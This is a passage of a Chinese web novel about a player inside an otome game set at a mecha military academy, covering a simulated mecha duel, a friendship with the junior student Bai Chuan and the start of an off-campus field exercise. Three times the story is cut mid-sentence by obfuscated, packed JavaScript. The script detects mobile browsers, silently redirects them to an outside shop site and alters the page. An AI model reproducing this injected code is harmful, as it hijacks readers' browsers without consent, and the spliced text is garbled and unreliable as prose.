一道身影悄无声息地出现在了本应无人的校园角落。他弯腰从矮树丛中摸索了一阵,从中拿出了一张卡片。 在光线不足的情况下,光滑的表面也代表了这是一张完全空白的卡片。 他从衣服口袋中拿出了一个小袋子,探入手指沾了一些粉末,然后均匀地抹到了方才找到的卡片上。 原本空白的卡片逐渐显现出了清晰的字迹。 “……时间是,一周后?” 这句几不可闻的低语似是惊扰了夜的安宁,原本被厚厚云层所遮挡的皎月突然挣脱了束缚,将光辉洒向了大地。 “啊,刚好是校外模拟实战之后吗?” 冷色的月光一点一点地照亮了那人的身影,在身后投出了纤长的影。 栗色的微卷发丝随风轻拂。 5. 乙女游戏5 登陆学员姓名:夏林 匹配模式:AI演练对战 【正在载入模拟地图,请勿操作……】 这一节课的内容是机甲模拟对战。学生们坐在模拟舱中进入虚拟地图操作机甲与AI进行1V1的对战,率先使对方机甲失去动力者获胜。 由于这是教学课堂,教官会通过光屏实时关注学员们在对战中的表现,并在课后给出相应的建议。 同时也因为这是军校,屏幕上会显示登陆学员的击杀用时与排名,鼓励竞争。 夏林瞥了一眼旁边显示结果的方框,重新将视线回到了主屏幕上。 今天的第一堂课就是一个不可跳过的剧情,根据之前的推论,100%会发生点什么。 这个游戏里模拟出的机甲内部驾驶舱几乎与现实的驾驶舱一模一样。但由于是乙女游戏,似乎自动开启了辅助模式。 夏林看着控制台上亮起的启动按钮,默然。 ——这个辅助模式好像和“打地鼠”一样,让玩家哪里亮了按哪里。 【演练开始。】 随着耳边传来清晰的提示声,眼前原本一片黑暗的视野中开始出现了光亮。 【您已随机到地图:死亡丛林。】 白光过后,映入夏林眼帘的是一片盎然绿意。不知名的巨大植被几乎占据了所有地表,交错纵横的粗壮藤蔓紧密地缠绕在树木之间,挡住了所有方向的去路。 视野高度受限。 夏林下意识地想要切换武器砍去周围部分藤蔓,但此时控制台上亮起了另外的一个按钮。 她迟疑了一下,内心对从未见过的机甲辅助系统还是有那么一丝好奇,于是选择按下了那个亮起的按钮。 机甲开始缓慢移动。 机甲一有动作夏林就察觉到由于气候原因,这里地表的土质湿润松软,机甲移动有着不小的阻力,战斗中指令的偏差值也会很高。 ——可以开启两侧推进器增加行动的稳定度。 几乎在脑海中出现这个念头的同时,身体就仿佛有千万次记忆一般自动在控制台上操作了起来。 几秒后,机甲的行动显然更灵活了一些。 夏林盯着控制台看了一会,心想或许这就是写入简介的“还原度”吧?毕竟这相当于游戏内载了一个真实机甲模拟器。如果仅仅是乙女游戏的剧情需求,只需要AI搞个机甲的壳子就可以了。 下一秒,她瞳孔一缩。 驾驶舱内所有检测仪骤然间“嘟嘟”作响,红光闪烁。 一道白色激光束从远处空中朝着严实掩藏在丛林中的训练机甲精准地落了下来,直接穿透机体击到地面发生了猛烈的爆炸。 爆炸产生的炙热烈风让毫无防备的机甲第一时间被掀飞,在空中划出了一道平缓的抛物线然后侧着机体重重地坠在了一处互相缠绕的藤蔓中央。 【警告!警告!左翼严重损坏,远距离武器·光子炮已遗失。】 机甲受到重创,驾驶舱内部自然也一片混乱。 夏林坐在驾驶位上感觉到自己的头嗡嗡作响,四肢被震得有些发麻脱力。她抬眼看向前方不断闪烁红色的光屏,如大海般蔚蓝的眼眸中似有风暴在逐渐聚集。 她飞快地在控制台上输入了一串复杂指令,再也没有管上面哪个按键亮不亮。 在一道道准确指令的驱动下,破损了一侧的机甲摇摇晃晃地从地上站了起来,根据受损程度调整完两侧推进器的输出功率后,机甲的行动一改之前的僵硬笨拙感。 将目前唯一的近战武器热犁刀握在了手中,机甲迅速地掩藏进了旁边拥有肥大叶片的植被从下。 夏林很快根据受到攻击的弹道锁定了检测地图上的某个红点,一边握住操纵杆,单手指令飞快。 手握武器的训练机甲一边清理路径前方的障碍,一边直直地朝着红点所在的方位前进。 机甲在向着敌对红点靠近的同时,也没忘记利用头顶的植被掩藏自己,挥舞的热犁刀只在最小程度上清理了阻碍视线的植被。 不久后,代表敌对的红点目标进入了可视范围内。 ……有点不太对劲。 夏林控制机甲从茂密的植被间隙里小心地调整角度看向空中。 晴空之下,万里无云。以黑色为主色调的机甲在蓝天背景下格外显眼。 夏林皱了下眉。 之前对方打掉了她的远距离攻击武器。现在又故意停在没有任何遮蔽的空中,简直是明晃晃的勾引。 那架机甲,真的是由AI操控的吗? 夏林盯着看了几秒,双击屏幕拉进了镜头查看对方此时的机甲状态。 黑色的漆面在阳光下几乎没有任何反光,不知道是用了什么涂料。手部的位置已经切换成了之前远距离攻击过她的光子炮,武器上暗金色的亮纹代表能量已装填完毕,随时可以攻击。 现在没有远距离攻击手段的情况,若想击落对方,只有一个方法。 以两边目前的距离,如果她推进器全开瞬间加速到最大阈值,让对方进入她的攻击范围只需要七秒。 七秒内,她需要控制机甲不被对方击中,同时还要计算对方见她现身后拉开的距离。所以初始加速度很重要,对方此时开启的推进器数量是…… 夏林放大了屏幕上黑色机甲的下半部分。由于推进器开启后都会有暗红色的能量光效,放大之后看十分明显。 忽然,她动作一顿,余光瞥见了屏幕上显示的自身机甲能量使用情况。 32%。 微张的嘴唇紧紧地抿起。 下一秒,夏林所控制的机甲一个旋身冲天而起,几乎是同时,密如急雨的激光束朝着现身的机甲直直射来。 在左翼已经受损的情况下,高速移动造成的气流让机身平衡性极差,只要被打中一下,无疑就会出局。 机甲驾驶舱内,金发的军服少女全神贯注地看着光屏,触碰控制台的指尖片刻不曾犹豫,不停地向机甲输送着指令。 由于她一开始就选择了把推进器全开,机甲瞬间提到了最大的加速度。而另一边的黑色机甲并没有选择这样做,仅在拉了一段距离后才选择全开加速。此时夏林所驾驶的机甲当前速度已经比对方快了许多。 双方的距离如夏林预想般地拉近,她在心中默数: 五,四,三…… 庞大的黑色机甲在在枪林弹雨中展开了它的全貌,其关节处金色的暗纹如高温熔化后流淌着的金属液,主武器口泛着亮光的炮口已经举起,蓄力并精准地锁定了不断接近的夏林。 二,一…… 电光火石的瞬间—— 夏林控制的机甲果断地挥下了手中金红色的热犁刀。与此同时,指挥舱中的夏林瞳孔一缩。 能量不足。 加速度不够,未到达预定位置。 下一秒,耳边传来清晰的提示音: 【您已摧毁敌方目标。用时3分21秒。当前排名:7】 什么? 夏林看着眼前伴随着爆炸坠落的机甲,心中有些茫然。 刚才她一击落空之后,她就已经做好了被对方离子炮击中的准备。这个结果的概率是100%。 但即使是这样,她依然没有放弃,在控制台上输入了后续攻击指令。 这个距离,要躲开已经是不可能的,只有进攻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026666|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可在那一瞬间,原本应该发动离子炮击落她的黑色机甲突然像是掉线了一般,在空中停止了所有的动作。 她后续的攻击击中了对方。 【成绩已记录上传,正在断开连接,请勿操作……】 为什么? 是谁?那个黑色机甲的行动反应绝对不是AI的操作! 感受到模拟仓开启的光亮,夏林直接一把扯下了头盔,跳下模拟仓径直走向了站在前方大屏旁观看学生表现的教官,说: “教官,刚才……” 留着小胡子的教官回头看了她一眼,眼神中带着询问:“怎么了?” 夏林怔了一下,感觉到了一丝不对劲,回头望了一眼四周。 此时已有几个学员完成了训练,站在自己的模拟仓附近看着大屏幕中其他同学的训练影像。 一切都是那么正常。 ——这才是最大的不对劲。 夏林当即换了问题的方向:“可以给我发一份我刚才的对战录像吗?” 教官很快从智脑中调出了上传的战斗记录影像,按了几个按钮后答道:“已经传给你了。” 夏林几乎是迫不及待地点开了那个刚收到的影像。 “这次模拟训练的敌对机甲是A1-4785号测试用机,它与当今标准士兵型机甲的功能与性能几乎一模一样。听说你是从普通学校转学来的?那你今天的成绩还算可以。” 夏林看着光脑上对面显示的绿色机甲影像,良久才开口:“……教官,这是我刚才的战斗记录?” “对啊,这不就是你吗?”教官觉得这句话的问法十分奇怪,索性切到了驾驶舱内部画面。 屏幕中,“夏林”正坐在控制台前专心致志地输入指令控制机甲。 “有什么问题吗?”教官又问了一句。 “……没有,谢谢。” 夏林盯着屏幕上的“自己”,半晌后给出了回答。随后又询问了结束对战后是否能提前离开,得到教官肯定的答案后,在其他同学的目光中快步离开了教室。 由于此时其他学生大多都还在上课,校园内几乎没有其他人的身影。 她找了一个僻静的角落,打开了自己的【攻略面板】,从上往下看。 上面人物的好感度和昨天查看的时候一样,没有变化。 夏林的目光停在了最后一行的“??”那里。 蓦地,侧边响起一道男声,语气惊喜: “咦?夏林学姐?” · 另一边,四面密封的空间中,一台摆在角落孤零零的模拟仓缓缓开启了舱门。 穿着深色制服的高大男子抬手拿下了头盔,露出了其下面容。 蓦地,从上方遥远的虚空之中响起了一个有些耳熟的女声: “目前剧情即将进入支线,数值一切正常,要继续吗?” 秦封没有抬头,也没有从模拟仓内起身,就这么拿着头盔静静地坐在里面。 令人窒息的沉默在这片空间里无声地蔓延。 几十秒后,他低低地开口: “继续。” 上方的寂静深处响起了一声叹息: “知道了知道了……但这个游戏真的有进行下去的意义吗?你明明知道就算成功了,最后结果也会失败。” 女声顿了一下,情绪明显低落: “这个世界上根本没有奇迹。” 久未听见回复。 仔细一看,原地早已没有了那个高大的黑发身影,也不知道是什么时候走的。 “没礼貌!!” 原本还在万般感慨的女声一秒转为了气急败坏。 6. 白川1 “学姐,你就吃这么一点的话下午不会饿吗?要不一起去小卖部?” 午后的校园小径上,白川歪了歪头,向旁边并排而行的夏林认真发问。 听见这句话的夏林脚步一顿,停下来看了他一眼,一时不知道该摆出怎样的表情。 刚才在食堂,这个个子和她差不多高,完全一副青葱少年模样的白川站在点餐机前一口气点了三份不重样的加量大份套餐。 出餐后,只见他左手右手各端了一个餐盘,剩下的那一份,看对方那眼神似乎打算找个合适的角度顶在头上。 ……这个量,是认真的吗? 并不想引人注目的夏林最终还是看不下去,伸手帮白川拿了剩下的那一份。两人在食堂座位上坐下后的十五分钟内,她充分见识了什么叫“暴风吸入式就餐”。 她已经不想深究为什么她吃一份标准餐和白川吃三份加量大份会是同一时间吃完,关键是……他居然真能吃完啊?还连饮料都喝完了? 想到这里,夏林不由得又瞥了一眼身旁人平坦的腹部。 这个游戏,果然还是有一些不符合现实科学定律的设定。 “嗯?学姐,那边是不是有人在喊你?” 听见白川这么说,没多想的夏林就朝着对方示意的方向顺势望去。 那边的露台空无一人,什么都没有。 她刚回头要说话,忽然感觉手心被人塞了一个什么东西。 是一颗包裹在金色糖纸里的巧克力。 “餐后甜点!”白川晃了晃手里不知道从哪里来的小口袋,里面还有类似包装的不少颗,只有红色和金色。 他自己从中拿了一颗红色的,剥开放入口中。 夏林想了想,把巧克力放入了制服口袋,她现在还不想吃。 “唉,太阳真好,不想上课——”一旁的白川伸了个懒腰,扁着嘴抱怨。 就在夏林思考着是不是此时表示赞同就会开启其他剧情时,对方忽道:“不过学姐,你刚才看到我吃了三份套餐,怎么一点也不惊讶?” “我惊讶了。”夏林如实说道。 “真的?完全没有看出来,我感觉你连眉毛都没有动一下。”白川一个迈步转身站到夏林身前,仔细上下打量。 “真的。”夏林站在原地坦然地任他打量。 她刚才确实有惊讶,但不多。因为个子小又吃得多的人她不是没见过,以前经常能看到。反而是可以“吃很多”的宽裕日子比较稀有。 一般只有在那些…… 思绪戛然而止。 脑海中忽然闪过一个极为模糊的画面。 夏林怔了一下。 她以前是在哪里见过?肯定不是在军校,因为军校入学有体格要求,身高不符合标准的不能入学。 她记得现实里在就读军校之前,她是生活在…… “喂——” 耳边白川的声音打断了她的思绪。夏林回过神,只见白川在她面前晃了晃手:“学姐?别发呆啦。” “抱歉。”夏林立即道歉,当着别人的面走神确实有些不礼貌。 “好了,我这下真知道学姐你很困了。我们早点回去午休一下吧?”白川十分体贴地提议。 夏林刚想说自己不是困,却听到对方话锋一转,“啊!不过我想起来学姐你的书还在我那里呢!” 少年转过身,耳畔微翘的栗色小卷毛随着动作晃了一晃。白川扭头狡黠一笑:“学姐,如果你比我先到教学楼一年C班,我就告诉你一个秘密。” 秘密? 还未等夏林多想,那边已经在跃跃欲试了: “准备了哦,倒计时!” “五、四……” 夏林下意识地做好了准备,她觉得这个“秘密”或许是这个游戏的主线情报。 “一!” 夏林愣了下,顾不上纠结中间的“三”“二”去哪了,在余光瞥见身旁的身影冲出去的瞬间也跟着开始行动。 几秒后,她暗暗心惊。 虽然有她自己起步慢一拍的原因在,但那个少年的身影始终领先自己几步,且这个距离似乎有渐渐拉大的趋势。 要知道,在现实里她的短跑测试成绩是能在全校排前三的。 难道这也是什么固定结果的游戏剧情吗? 食堂和教学楼的距离终究没有那么远。两人沿着目前的这条直路跑到头,再横着过一个走廊就到了教学楼。一年级的教室在教学楼的二楼。 就算直线没他快,还可以在那两节楼梯上追回来。 夏林对自己爬楼梯的速度很有自信。 两人前后脚到了走廊,跑在前面的白川忽然一个急停在走廊台阶口止了步。 夏林没来得及刹车,多往前跑了几步,止步回头,愣了一下,有些不明所以。 白川摆出了一个双手上举的投篮姿势,双脚猛地一蹬地,整个人高高跃起,在顶点用手指扒住了走廊建筑的檐边。 他整个人像荡秋千一样挂在空中前后摇摆,被拉高的制服下露出了一截精瘦的腰肢。最后借着一次往后的大惯性,空中一个360度旋身翻到了走廊的顶上。 整套动作行云流水,在几秒内就完成了。 ……这是什么品种的猴子吗? “猴子”白川从走廊檐顶上探出了头,冲她扬眉一笑,还伸手比了个“V”,十分得意。 夏林:…… 她嘴角一抽,扶额叹了一口气。 行吧,重在参与。 · 等到夏林从楼梯上来到达一年C班门口时,没看到白川的身影。 大概是进去拿书了。夏林这样想道,于是便在门口等。 等待的途中,旁边两个女生NPC的对话里有熟悉的名字传入耳中。 “怎么办啊?我已经去问了隔壁几个班的负责人,好像就只有我们班的人数是单数。现在就剩下白川没有组了。” “唔……白川啊?想想其实也能理解。他实操项太强了。如果和他一组的话,不仅压力大,而且一对比,自己的个人表现分会很难看的。这个校外模拟实战的成绩不是说和毕业相关吗?” “但我怎么想都觉得这件事很奇怪?”前一个说话的女生压低了一点音量,“你知道的,我们都有实战课程,经常要两两对练。之前我们班就因为单数人数的问题,有一个人只能和教官一组……高年级不是听说也没有单数人数班级的吗?这样就感觉像是我们班莫名其妙多出了一个人。你说,会不会有人在入学的时候……” “学姐?” 这个对话终结于突然插入的男声。 夏林循声偏过头,出现在眼前的是醒目的课本标题——《机械基础与设计》。 她正要伸手去拿,课本往边上侧了下。 先是一小撮外翘蓬松的小卷毛,然后后面的一张精致少年面庞整个露了出来。棕色的眼眸带着笑意,看起来亮亮的。 “久等啦。” 白川将课本双手递给夏林,转头看向另一边的两个女生,熟稔地打招呼:“你们好!” 两个女生面面相觑,冲他点了点头作为回应。 白川礼貌笑了下。他回过头刚要继续和夏林说些什么,后方传来了其中一个女生的声音。 “哎等等!” 见两人视线转过来,开口叫住白川的那个女生露出了一个有些尴尬的表情:“呃,是这样的,等会午休结束前就要上交校外模拟实战的名单了。那个,白川,你目前……” “哦,”白川像是想到了什么,很快无所谓地笑了一下,“我目前没有搭档。你把我单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026667|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独一组报上去吧,教官知道我们班情况的,会给通过的。” “那就好。”女生松了一口气。 “校外模拟实战?” 夏林在一旁听了好久,对这个陌生的词汇发出疑问。 “对了,学姐你是二年级才过来的转学生,刚好错过了这个,”白川向她开口解释,“天宿军校会在新生入学的第一学期中期安排一场校外模拟实战,作为初期个人表现计入档案。一般是两人一组各自搭乘机甲前往指定行星完成分配到的任务。什么类型的任务都有。” “……” 夏林沉默了。她盯着面前突然出现的系统提示框看了一会,开口道: “这个校外模拟实战,二年级可以参加吗?既然和毕业考核相关的话,我是转学生,也没有这一部分的成绩。” “啊?”负责记录的女生被这一句话砸得有点懵。 “应该可以吧?白川不是没有搭档?我刚好可以和他一组。” 夏林伸手指了一下旁边的白川。此时对方也睁大了眼,罕见地露出了有些意外的表情。 “呃,那我需要去发消息问一问……” 在众人看不见的地方,夏林面前的提示框就像完成了自己的任务,正在由外向内缓缓消失。正中心是十分清晰的两行字: 【恭喜玩家进入攻略支线:白川。】 【当前“白川”好感度:35/100。】 · “嗯……” 修长有力的手指摩挲了一会下巴,在欧式沙发中央大咧咧翘着二郎腿的红发男人盯着光脑投影出的光屏看了一会,往后方偏过了头:“小英啊,这次校外模拟实战的方案你真的有拿到军部许可吗?当年的‘那件事’,似乎并没有对外公布一些细节,比如——有联邦卧底的存在。” 书桌后的金发男人笔尖一顿,抬眸危险眯眼:“再叫一次那个称呼就从这里滚出去。” 警告完那个无礼之徒,留着微长金发的俊美男人继续将注意力放到了桌上。随着手中钢笔起落,墨水在信纸上留下了一个个优美锋利的弧度。写完最后一笔后,他将信纸叠好收入信封,在背面火漆上敲下代表家族的印章,缓缓开口: “即使没有对一般民众公布,这件事在帝国军队中也不是什么秘密。甚至……” 火漆上的印记是一个由利剑与羽毛组成的图案。细看之下,上面的羽毛图案与男人衣领处别着的徽章极为相似。 男人顿了一下,沉声道: “这是每一个帝国军人应该记住的耻辱。” 掷地有声的话语中蕴含着深刻入骨的敌视与仇恨。 “好好好,会长大人。” 司昊泽耸了耸肩,把头往沙发上一仰,状若不经意间开口:“不过,战场上对同伴的信任度不是很重要吗?这些小家伙们要是最后知道是这么个剧本,这学生会办公室该不会被投诉淹没吧?那我那几天上哪午休去啊?” “不用担心,本次模拟实战的所有内容已经事先在军部报备过,也会根据教官目前掌握的数据对各学员的数据进行综合分配,公平性不会有疑问,”纪承英站起身,拿着手中写完的信径直往门外走去,并没有看沙发上的人一眼,“而且,战场上能够信任的只有自己。敌人可以是任何人,包括咫尺之间的同伴。” 蓦地,他脚步一顿,看着自己光脑上新弹出的信息。 内容几行扫下,视线落在了在其中的“夏林”二字上。 纪承英垂眸看了一眼手中的信件。几秒后,这位学生会长在光脑最后的审批意见上按下了“同意”,拿着信转身出门。 室内恢复了片刻的安静,但很快被一声嗤笑打破。 仰躺在沙发上的司昊泽眯了眯眼,唇角上扬: “这话,倒是说的一点都没错。” 7. 白川2 次日,夏林刚打开宿舍的门就在门口不远处看到了许久不见的老熟人——秦封。 对方倚靠在墙边,身形修长,眉眼冷淡。 清晨的军校宿舍走廊上学员来往匆匆,唯有这个驻足而立的黑发男人周身萦绕着说不清朦胧疏离,仿佛与这世界格格不入。 “秦封。”夏林下意识地开口唤了一声,出声后才感到有些懊恼。 确实应该格格不入的。 大早上的,在走廊上站了个半透明的鬼还能和谐得起来吗? 下一秒,夏林清晰地感觉到秦封的视线落在了身上,那张形状完美的嘴唇微张: “夏林,早上好。” 不知道是不是错觉,夏林似乎一瞬间有看到秦封的唇角上扬了些许。但整句话结束之时,对方依然是那个没什么表情的模样。 ……是因为自己名字的发音问题?记得以前似乎有谁说过,在念她的名字“夏林”的时候,嘴唇会不自觉地往两边弯,就像是在微笑一样。 一个模糊的人影在脑海中隐约浮现,却总是看不真切。 ……记忆里好像是个女声说的,是她认识的哪个女同学吗? 夏林停顿了一下,内心划过一丝迷惘。但她丝毫没有在面上表现出来,只是朝秦封低声问了一句:“怎么了?”然后抬步越过了秦封的位置直直地往宿舍外走。 因为之前的实践表明,夏林作为游戏玩家,如果在走廊上长久停留再加自言自语的话,周围的NPC会有所反应。 “你今天要去参加‘校外模拟实战’吧?” 声音是从侧后方传来的,秦封也跟了过来。 “嗯。”夏林应了一声。 “我也去。” “……” 夏林脚步未停,有些奇怪地瞥了秦封一眼。 明明之前来无影去无踪,甚至有时候一整天看不到人。怎么这次还讲上礼貌了,还会主动来跟她报备一下行程? 不过秦封居然也知道“校外模拟实战”? · 两人离开宿舍后很快顺着系统的引导到了集合大厅。夏林停下了脚步,扫了一眼四周。 整体呈半椭圆形的大厅内熙熙攘攘,人声鼎沸,她一时间没有找到白川的身影。 但是从她一踏入这个地方开始,投在她身上的视线就很多。 夏林装作不经意间与其中一个学生NPC对上了视线,对方有些慌张地转过了头。 天宿学院的校服以蓝白为主,但为了区分一二三年级,在外套上又有一些一眼就能区分的细微差别。而这个“校外模拟实战”是仅面向一年级参加的活动,她作为二年级生在这里的确很显眼。 夏林并没有太过在意。她低头看了一眼自己光脑上显示的飞船序号,走到了相应的传送入口附近。 由于这次需要运送机甲一同前往任务地点,天宿军校配置了多架小型自动运输星舰。学生只需要在入口显示与自己光脑相同的序列号时进入,即可被传送带运送到相应的登舱地点。 序列号还算靠前,不多时就轮到了夏林这一批。可她在传送带附近等到光屏出现“即将结束”的提醒,都没看到白川的身影。 夏林犹豫了一下,正准备抬步去找一下,却被一旁的秦封一把拦住。 秦封冲她摇了摇头:“你直接去,会看到他的。” 夏林停顿了一下,思忖着两人目标一致,还是相信了这句话。她转身踏上了传送带,问道:“你知道些什么?” “白川在一年级里是比较有名的人物,他的实操课成绩和文化课成绩是两个极端。”秦封说话的同时向后方瞥了一眼,又补充了一句,“他……还不错。” 在秦封的视线内,方才夏林等待的传送带起始位置,被披着而扬起的白蓝制服一角一晃而过。 还不错?是指她这个攻略对象选得好? 夏林眨了下眼,觉得这最后一句评价似乎有些微妙,于是只问了前面:“实操课极好?文化课巨差?”她之前已经充分见识过白川的身手,那两个触发剧情的女生NPC也这么说过。 “嗯。”秦封回过神,应了一声。 “那为什么他不来集合?你看到教官提前送他去了?” “……” 这个关键问题却只得到了一片沉默。夏林一怔,猛地回过身:“喂,你该不会……” “夏林学姐——” 她的质问被后方由远及近的熟悉声音所打断。 原来不知不觉,传送带已经到了尽头。 远处原本站在星舰旁的白川像看到主人的小狗一般冲了过来,然后到了夏林面前一个急刹。 “学姐你怎么才来啊?我在这里一直等啊等,其他人都走了,我等得心都凉了……还以为你不来了。” 最后半句话的音量相较之前低了几个度。白川本来就是那种清朗的少年音,此时一压低听起来糯糯的,让人感觉他委屈得不行。 因为方才白川是一路冲到她面前的,那头自然卷的栗发有些凌乱,有几撮落到了额前。 夏林下意识地伸手将这几撮碍眼的头发拨回了原位,由于发丝划过掌心的触感意外地好,等到她察觉到的时候,自己已经鬼使神差地又摸了一把这头蓬松的小卷毛。 “干嘛!” 感受到头上的触感,白川猛地退后两步,炸了毛,脸上的薄红不知道是因为方才的跑动还是别的什么。 “啊,抱歉,”夏林收回了手,想了想还是如实说出原因,“因为我们没有交换光脑联络账号,刚才在通知的集合大厅没有找到你,所以等了一会才过来的。” “集合大厅?”白川怔了一下,像是才想起这回事,“我,我没想到学姐会等我。” 夏林看了他一眼,有些奇怪:“我们是一组的,你不也在这里等我了吗?” “那是因为……教官说人数不够不能出发。” 除了最开始四个字之外,后面的话极小声,夏林没听清:“什么?” “……”栗发少年沉默了一下,忽然转身快步往后面的驾驶舱走去,“快走吧学姐,我们是最后一组了。” 夏林望着白川的背影,虽然觉得对方表现有点奇怪,但很快想到了更紧迫的另一件事: “你怎么过去?” 她找了个时机低声问旁边的秦封。 经过夏林一路上的观察,秦封这个“鬼”其实也就看上去像鬼,大部分时候还是有实体判定的,比如他就不能穿墙。只有游戏内的NPC他才是真的无法接触。 那么此时就有一个严峻的问题了。这个“校外模拟实战”显然是要学员进入机甲,再由星舰将机甲运送至实战场地。而机甲驾驶舱内只有驾驶员一个人的位置。 “我自己会想办法。”秦封言简意赅,并没有多说的意思。 夏林瞥了他一眼,也不再多问,上前去进入了机甲。 · 驾驶舱门关闭后,上方就传来了提示音。 【已检测到学员信息:夏林。】 【信息匹配成功,正在前往指定地点,预计时间18分40秒,请耐心等待。】 这显然是给学员的检查准备时间。 夏林仔细查看机甲配置。 化石燃料驱动机、护盾、碳纤维军刀、激光炮…… 她顿了一下,视线停留在了能源数值上,眉头微蹙。 这是为期三天的模拟实战,以这个装载的能源板块数值,差不多恰好能供机体正常活动三天。 但这是没算上战斗消耗的。 姑且不提能耗极大的唯一远距离武器激光炮,就算战斗中多开几个推进器加速追击或者逃跑,那期间的能耗也是正常活动的几倍了。 以这个能源数值绝不可能一直以机甲活动。那么这个实战模拟…… 还未等夏林过多思考,星舰的提示音再次从上方响起。 【已到达指定投放地点。请注意,十秒钟后解放机甲固定装置,高压弹射轨道已充能完成。】 【投放完成,K7936-N21机甲现已激活。】 随着这句提示音落下,夏林眼前漆黑一片的视野中开始出现了亮光。 如夏夜原野中的点点萤火,目之所及的细微光亮很快在深邃的背景下成为唯一的光点。在这片名为宇宙的浩瀚空间中,万千星辰安静地闪烁着。 即使不是第一次见到这番景色,但宇宙的广阔带给人的震撼从未减少。 机甲公共频道内传出一道陌生中年男声: 【请注意,各小组任务详情现已传输至光脑终端,请学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026668|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员自行查看。祝各位学员在模拟实战中取得佳绩。】 听到后面夏林对这个声音有了些许记忆。在游戏的介绍中,这个声音似乎属于天宿军校的校长。 她低头查看光脑终端,将上面给出的星球坐标输入了机甲导航系统,再根据上面给出的星球数据调整了重力装置。 【我宣布,帝国天宿军校第362次模拟演练正式开始。】 话音落下,夏林也调整完毕。她看了一眼侦测屏幕上显示静止不动的绿点,刚想打开小队语音频道联络白川,光脑上突然出现了一条新消息。 【请注意:第362次模拟演练新增规则。】 夏林动作一顿,继续点开下一条。 【新增阵营身份。机体与学员制服上均会显示阵营标识,可自主选择隐藏。但在达到指定条件后会自动开启,自动开启后不可隐藏。】 【您的所属阵营:帝国。是否隐藏?请注意,选择主动开启身份后,24小时内无法选择关闭。】 明明模拟演练已经宣布开始,公共通讯频道却一片安静,看来所有人都看到了这条新增规则。 夏林看了一眼屏幕中央的“是”和“否”两个按钮,果断选择了“是”。 能源有限的情况下,显然是要避免前期陷入无谓的斗争。 “学姐,准备好了吗?我给你发了一个坐标,将那个设置为着陆点吧。我先过去帮你探探路!” 队内通讯频道内传来白川的声音。 他已经决定了着陆点? 夏林停顿了一下,还是将白川发过来的坐标设置成了着陆目标。然后仔细查看了光脑上显示的本次模拟实战的任务。 与其说是任务说明,倒不如说只是一条线索。 任务页面上就一张照片,连个字也没有。 蜿蜒曲折的潺潺溪流旁立着一棵主干笔直的参天大树,远景是郁郁葱葱的树林。 夏林从没有见过这样的“任务”。 在没有其他说明的情况下,任务范围默认为整个星球。要在一个仅掌握基本地图的陌生星球上找到再普通不过的这样一处场景,就算机甲移动速度极快,也无异于大海捞针——或许还是根纳米针。 所以能源有限的情况下,着陆点的选择十分关键。 白川是怎么能在短时间内就确定着陆点的? 夏林内心虽有疑问,但她没忘记她的首要任务是提高白川对她的好感度,打出游戏结局。 纵然夏林其实不太明白怎么让别人对她快速提升好感,但一开始就分头行动显然是不对的。 毕竟她也不是真的来刷什么校外模拟实战成绩,重在陪伴。 于是十几分钟后,两架机甲一前一后顺利着陆。夏林是跟着白川的行进路径过来的,着陆稳定后,她很快发现这个位置选的极好。 他们当前在一座砾岩山上,位置距离山顶还有一小段距离。这座山的植被相对而言不算太高,从机甲驾驶舱看出去正前方视野极佳,背靠山体也能很好地将机甲隐蔽起来。 机甲驾驶舱开启,夏林从上面跃了下来。她一站定就发现白川已经搬出了驾驶舱内的行李,从中挑出了一些用品摆在一边,而他本人正在用几个石块搭简易炉灶。 白川手脚麻利地搭完,往中间倒了些无烟燃料,然后不知道从哪掏出了一个疑似作用为“锅”的金属方盒子,倒了点水,依次加入四板压缩面,两个带汤的罐头。 卷毛少年忙完了这一波,一抬头发现夏林居然还站在机甲旁边,连忙招呼:“学姐快来,这个面熟的可快了,不吃就坨了的。” 夏林看了一眼光脑上的任务,又看了一眼那边正在精心制作“高质量野外饭”的白川,脸上表情有些微妙:“我们先吃饭吗?” “是啊,反正也快中午了,”白川理所应当地点头,他端着罐头当碗,从锅里夹出一大筷子面,嗦了一口,“学姐别怕,学院给我们放的食物可够了,没让我们野外求生。等我们吃完了这个,再尝尝看那个牛肉,要不烤一下吧?这罐头的酱汁味道不错,等会烤的时候淋上去肯定更入味!” 她倒也不是在担心食物够不够,但是任务的事…… 夏林神情复杂地纠结了一会,还是走过去拿起了筷子。 事已至此,先吃饭吧。 8. 白川3 一个多小时后,白川把筷子一放,转而打开了光脑投屏,低着头专心致志地输入些什么。 夏林看了他几眼,主动开口:“你在做什么?” 